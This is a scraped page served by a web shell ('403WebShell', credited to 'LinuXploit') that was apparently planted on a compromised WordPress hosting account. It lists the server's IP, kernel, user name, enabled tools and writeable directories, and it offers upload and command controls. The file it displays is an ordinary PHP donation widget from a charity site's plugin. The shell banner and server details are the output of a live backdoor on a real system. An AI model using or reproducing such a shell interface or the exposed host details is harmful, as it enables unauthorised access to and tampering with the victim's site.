Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.218.219.11
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/wp-content/plugins/charite-core/inc/widgets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/wp-content/plugins/charite-core/inc/widgets/donation-widget.php
<?php
// Control core classes for avoid errors
if (class_exists('CSF')) {

  //
  // Recent widget
  //
  CSF::createWidget('donation_widget', array(
    'title'       => esc_html__('Donation Widget', 'charite-core'),
    'classname'   => 'widget_catagory',
    'description' => esc_html__('Donation Widget', 'charite-core'),
    'fields'      => array(
      array(
        'id'      => 'title', //title
        'type'    => 'text',
        'title'   => esc_html__('Donation Title', 'charite-core'),
        'default' => esc_html__('Donation Title', 'charite-core')
      ),
      array(
        'id'         => 'button_lebel',
        'title'      => esc_html__('Button Label', 'charite-core'),
        'type'       => 'text',
        'default'    => 'Donation',
      ),
      array(
        'id'         => 'url',
        'title'      => esc_html__('Url', 'charite-core'),
        'type'       => 'text',
        'default'    => '#',
      ),
      array(
        'id'    => 'bg_img',
        'type'  => 'upload',
        'title' => esc_html__('Background Image', 'charite-core'),
      ),
    )
  ));

  //
  // Front-end display of widget example 1
  // Attention: This function named considering above widget base id.
  //
  if (!function_exists('donation_widget')) {
    function donation_widget($args, $instance)
    {

      echo $args['before_widget'];
?>
      <div class="widget widget_cta">
        <div class="cta-widget-inner" style="background-image: url(<?php echo esc_url($instance['bg_img']); ?>);">
          <h5><?php echo esc_html($instance['title']); ?></h5>
          <a class="btn ml-5" href="<?php echo esc_url($instance['url']); ?>"><?php echo esc_html($instance['button_lebel']); ?></a>
        </div>
      </div>
<?php
      echo $args['after_widget'];
    }
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit